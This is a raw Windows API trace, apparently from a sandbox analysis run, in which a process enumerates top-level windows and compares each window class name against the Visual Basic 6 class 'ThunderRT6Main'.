0x101c2 [0237.092] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a8 [0237.092] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0237.092] GetClassNameA (in: hWnd=0x101bc, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="bitkinex_window") returned 15 [0237.092] lstrcmpA (lpString1="bitkinex_window", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0237.092] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0237.092] GetClassNameA (in: hWnd=0x101be, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.092] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x898 [0237.092] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0237.092] GetClassNameA (in: hWnd=0x101b8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="barcaclass") returned 10 [0237.092] lstrcmpA (lpString1="barcaclass", lpString2="ThunderRT6Main") returned -1 [0237.092] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0237.092] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0237.093] GetClassNameA (in: hWnd=0x101ba, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x888 [0237.093] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0237.093] GetClassNameA (in: hWnd=0x101b4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="alftpwnd") returned 8 [0237.093] lstrcmpA (lpString1="alftpwnd", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0237.093] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0237.093] GetClassNameA (in: hWnd=0x101b6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x878 [0237.093] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0237.093] GetClassNameA (in: hWnd=0x101b0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="absolutetelnet_window") returned 21 [0237.093] lstrcmpA (lpString1="absolutetelnet_window", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0237.093] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0237.093] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x868 [0237.093] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0237.093] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="3dftp_win") returned 9 [0237.093] lstrcmpA (lpString1="3dftp_win", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0237.093] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0237.093] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x858 [0237.093] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0237.093] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="purchaseclass") returned 13 [0237.093] lstrcmpA (lpString1="purchaseclass", lpString2="ThunderRT6Main") returned -1 [0237.093] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0237.093] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0237.093] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.093] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x101aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0237.094] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0237.094] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="bent_Individually_class") returned 23 [0237.094] lstrcmpA (lpString1="bent_Individually_class", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0237.094] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0237.094] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.094] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0237.094] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0237.094] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="cruises_Thickness_cls") returned 21 [0237.094] lstrcmpA (lpString1="cruises_Thickness_cls", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0237.094] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0237.094] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.094] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0237.094] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0237.094] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Bloomansweringwnd") returned 17 [0237.094] lstrcmpA (lpString1="Bloomansweringwnd", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0237.094] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0237.094] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.094] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0237.094] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0237.094] GetClassNameA (in: hWnd=0x10198, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Ownerbmwin") returned 10 [0237.094] lstrcmpA (lpString1="Ownerbmwin", lpString2="ThunderRT6Main") returned -1 [0237.094] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0237.094] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0237.094] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0237.095] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0237.095] GetClassNameA (in: hWnd=0x10194, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="hawk_Tasks_app") returned 14 [0237.095] lstrcmpA (lpString1="hawk_Tasks_app", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0237.095] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0237.095] GetClassNameA (in: hWnd=0x10196, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0237.095] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0237.095] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0237.095] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0237.095] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0237.095] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0237.095] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0237.095] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0237.095] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0237.095] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0237.095] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.095] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0237.095] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0237.095] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0237.095] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0237.095] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0237.095] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0237.095] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0237.096] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0237.096] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0237.096] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0237.096] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0237.096] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0237.096] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0237.096] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0237.096] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0237.096] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0237.096] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0237.096] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0237.096] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0237.096] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0237.096] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0237.096] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.096] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0237.096] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0237.096] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0237.096] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0237.096] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0237.096] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0237.096] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.097] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0237.097] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0237.097] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0237.097] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0237.097] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0237.097] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.097] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0237.097] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0237.097] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0237.097] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0237.097] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0237.097] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.097] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0237.097] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0237.097] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0237.097] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0237.097] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0237.097] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.097] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0237.097] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0237.097] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0237.097] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0237.097] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0237.097] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0237.098] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0237.098] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0237.098] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0237.098] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0237.098] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0237.098] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0237.098] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0237.098] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0237.098] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0237.098] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0237.098] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0237.098] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0237.098] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0237.098] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0237.098] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0237.098] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.098] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0237.098] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0237.098] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0237.098] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0237.098] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.098] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0237.098] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0237.099] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.099] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0237.099] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0237.099] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0237.099] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0237.099] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0237.099] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.099] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0237.099] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0237.099] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0237.099] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0237.099] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.099] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0237.099] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0237.099] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0237.099] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.099] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0237.099] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.099] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.099] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0237.099] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0237.099] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.099] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0237.099] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.099] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.099] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.100] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0237.100] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.100] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0237.100] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0237.100] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0237.100] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0237.100] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0237.100] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.100] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0237.100] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0237.100] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0237.100] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0237.100] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0237.100] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.100] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0237.100] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0237.100] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0237.100] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.100] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0237.100] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0237.100] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 